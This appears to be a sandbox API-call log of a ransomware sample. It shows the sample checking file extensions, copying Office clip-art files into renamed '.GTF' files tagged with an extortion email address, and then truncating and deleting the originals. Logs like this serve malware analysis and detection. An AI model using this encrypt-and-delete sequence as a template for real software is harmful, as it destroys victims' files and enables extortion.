	[0174.777] lstrlenW (lpString=".ppt") returned 4
	[0174.777] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0174.777] lstrlenW (lpString=".zip") returned 4
	[0174.777] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.777] lstrlenW (lpString=".rar") returned 4
	[0174.777] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.777] lstrlenW (lpString=".bz2") returned 4
	[0174.777] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.777] lstrlenW (lpString=".7z") returned 3
	[0174.777] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0174.777] lstrlenW (lpString=".dbf") returned 4
	[0174.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0174.777] lstrlenW (lpString=".1cd") returned 4
	[0174.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0174.777] lstrlenW (lpString=".jpg") returned 4
	[0174.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.778] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0174.778] lstrlenW (lpString="J0151041.WMF") returned 12
	[0174.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0174.805] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=4356) returned 1
	[0174.805] CloseHandle (hObject=0x45c) returned 1
	[0174.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf")) returned 0x220
	[0174.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0175.071] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.071] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0175.072] GetLastError () returned 0x0
	[0175.072] ReadFile (in: hFile=0x580, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x1104, lpOverlapped=0x0) returned 1
	[0175.191] WriteFile (in: hFile=0x528, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x1110, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x1110, lpOverlapped=0x0) returned 1
	[0175.192] ReadFile (in: hFile=0x580, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.192] WriteFile (in: hFile=0x528, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.192] SetEndOfFile (hFile=0x528) returned 1
	[0175.192] CloseHandle (hObject=0x528) returned 1
	[0175.192] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.192] SetEndOfFile (hFile=0x580) returned 1
	[0175.210] CloseHandle (hObject=0x580) returned 1
	[0175.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.215] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf")) returned 1
	[0175.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0175.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0175.571] lstrlenW (lpString=".doc") returned 4
	[0175.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.571] lstrlenW (lpString=".docx") returned 5
	[0175.571] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0175.571] lstrlenW (lpString=".pdf") returned 4
	[0175.571] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.571] lstrlenW (lpString=".xls") returned 4
	[0175.571] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.571] lstrlenW (lpString=".xlsx") returned 5
	[0175.571] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0175.571] lstrlenW (lpString=".ppt") returned 4
	[0175.571] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0175.571] lstrlenW (lpString=".zip") returned 4
	[0175.571] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.571] lstrlenW (lpString=".rar") returned 4
	[0175.571] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.571] lstrlenW (lpString=".bz2") returned 4
	[0175.571] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.571] lstrlenW (lpString=".7z") returned 3
	[0175.571] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0175.572] lstrlenW (lpString=".dbf") returned 4
	[0175.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0175.572] lstrlenW (lpString=".1cd") returned 4
	[0175.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0175.572] lstrlenW (lpString=".jpg") returned 4
	[0175.572] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0175.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0175.572] lstrlenW (lpString=".doc") returned 4
	[0175.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.572] lstrlenW (lpString=".docx") returned 5
	[0175.572] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0175.572] lstrlenW (lpString=".pdf") returned 4
	[0175.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.572] lstrlenW (lpString=".xls") returned 4
	[0175.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.572] lstrlenW (lpString=".xlsx") returned 5
	[0175.572] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0175.572] lstrlenW (lpString=".ppt") returned 4
	[0175.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0175.572] lstrlenW (lpString=".zip") returned 4
	[0175.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.572] lstrlenW (lpString=".rar") returned 4
	[0175.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.573] lstrlenW (lpString=".bz2") returned 4
	[0175.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.573] lstrlenW (lpString=".7z") returned 3
	[0175.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0175.573] lstrlenW (lpString=".dbf") returned 4
	[0175.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0175.573] lstrlenW (lpString=".1cd") returned 4
	[0175.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0175.573] lstrlenW (lpString=".jpg") returned 4
	[0175.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.573] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0175.573] lstrlenW (lpString="J0152432.WMF") returned 12
	[0175.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0175.574] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=16492) returned 1
	[0175.575] CloseHandle (hObject=0x55c) returned 1
	[0175.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf")) returned 0x220
	[0175.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0175.575] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.575] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0175.576] GetLastError () returned 0x0
	[0175.576] ReadFile (in: hFile=0x55c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x406c, lpOverlapped=0x0) returned 1
	[0175.585] WriteFile (in: hFile=0x540, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x4070, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x4070, lpOverlapped=0x0) returned 1
	[0175.587] ReadFile (in: hFile=0x55c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.587] WriteFile (in: hFile=0x540, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.587] SetEndOfFile (hFile=0x540) returned 1
	[0175.587] CloseHandle (hObject=0x540) returned 1
	[0175.587] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.587] SetEndOfFile (hFile=0x55c) returned 1
	[0175.590] CloseHandle (hObject=0x55c) returned 1
	[0175.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.591] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf")) returned 1
	[0175.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0175.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0175.591] lstrlenW (lpString=".doc") returned 4
	[0175.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.592] lstrlenW (lpString=".docx") returned 5
	[0175.592] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0175.592] lstrlenW (lpString=".pdf") returned 4
	[0175.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.592] lstrlenW (lpString=".xls") returned 4
	[0175.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.592] lstrlenW (lpString=".xlsx") returned 5
	[0175.592] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0175.592] lstrlenW (lpString=".ppt") returned 4
	[0175.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0175.592] lstrlenW (lpString=".zip") returned 4
	[0175.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.592] lstrlenW (lpString=".rar") returned 4
	[0175.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.592] lstrlenW (lpString=".bz2") returned 4
	[0175.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.592] lstrlenW (lpString=".7z") returned 3
	[0175.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0175.592] lstrlenW (lpString=".dbf") returned 4
	[0175.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0175.592] lstrlenW (lpString=".1cd") returned 4
	[0175.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0175.592] lstrlenW (lpString=".jpg") returned 4
	[0175.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0175.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0175.592] lstrlenW (lpString=".doc") returned 4
	[0175.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.593] lstrlenW (lpString=".docx") returned 5
	[0175.593] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0175.593] lstrlenW (lpString=".pdf") returned 4
	[0175.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.593] lstrlenW (lpString=".xls") returned 4
	[0175.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.593] lstrlenW (lpString=".xlsx") returned 5
	[0175.593] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0175.593] lstrlenW (lpString=".ppt") returned 4
	[0175.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0175.593] lstrlenW (lpString=".zip") returned 4
	[0175.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.593] lstrlenW (lpString=".rar") returned 4
	[0175.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.593] lstrlenW (lpString=".bz2") returned 4
	[0175.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.593] lstrlenW (lpString=".7z") returned 3
	[0175.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0175.593] lstrlenW (lpString=".dbf") returned 4
	[0175.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0175.593] lstrlenW (lpString=".1cd") returned 4
	[0175.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68
	[0175.593] lstrlenW (lpString=".jpg") returned 4
	[0175.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.594] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0175.594] lstrlenW (lpString="J0152436.WMF") returned 12
	[0175.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0175.623] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=11340) returned 1
	[0175.623] CloseHandle (hObject=0x564) returned 1
	[0175.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf")) returned 0x220
	[0175.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0175.628] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.628] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0175.629] GetLastError () returned 0x0
	[0175.629] ReadFile (in: hFile=0x564, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x2c4c, lpOverlapped=0x0) returned 1
	[0175.672] WriteFile (in: hFile=0x530, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x2c50, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x2c50, lpOverlapped=0x0) returned 1
	[0175.673] ReadFile (in: hFile=0x564, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.673] WriteFile (in: hFile=0x530, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.673] SetEndOfFile (hFile=0x530) returned 1
	[0175.673] CloseHandle (hObject=0x530) returned 1
	[0175.674] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.674] SetEndOfFile (hFile=0x564) returned 1
	[0175.677] CloseHandle (hObject=0x564) returned 1
	[0175.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf")) returned 1
	[0175.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0175.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0175.679] lstrlenW (lpString=".doc") returned 4
	[0175.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.679] lstrlenW (lpString=".docx") returned 5
	[0175.679] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0175.679] lstrlenW (lpString=".pdf") returned 4
	[0175.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.679] lstrlenW (lpString=".xls") returned 4
	[0175.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.679] lstrlenW (lpString=".xlsx") returned 5
	[0175.679] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0175.679] lstrlenW (lpString=".ppt") returned 4
	[0175.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0175.679] lstrlenW (lpString=".zip") returned 4
	[0175.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.679] lstrlenW (lpString=".rar") returned 4
	[0175.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.679] lstrlenW (lpString=".bz2") returned 4
	[0175.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.680] lstrlenW (lpString=".7z") returned 3
	[0175.680] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0175.680] lstrlenW (lpString=".dbf") returned 4
	[0175.680] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0175.680] lstrlenW (lpString=".1cd") returned 4
	[0175.680] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0175.680] lstrlenW (lpString=".jpg") returned 4
	[0175.680] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0175.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0175.680] lstrlenW (lpString=".doc") returned 4
	[0175.680] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.680] lstrlenW (lpString=".docx") returned 5
	[0175.680] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0175.680] lstrlenW (lpString=".pdf") returned 4
	[0175.680] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.680] lstrlenW (lpString=".xls") returned 4
	[0175.680] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.680] lstrlenW (lpString=".xlsx") returned 5
	[0175.680] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0175.680] lstrlenW (lpString=".ppt") returned 4
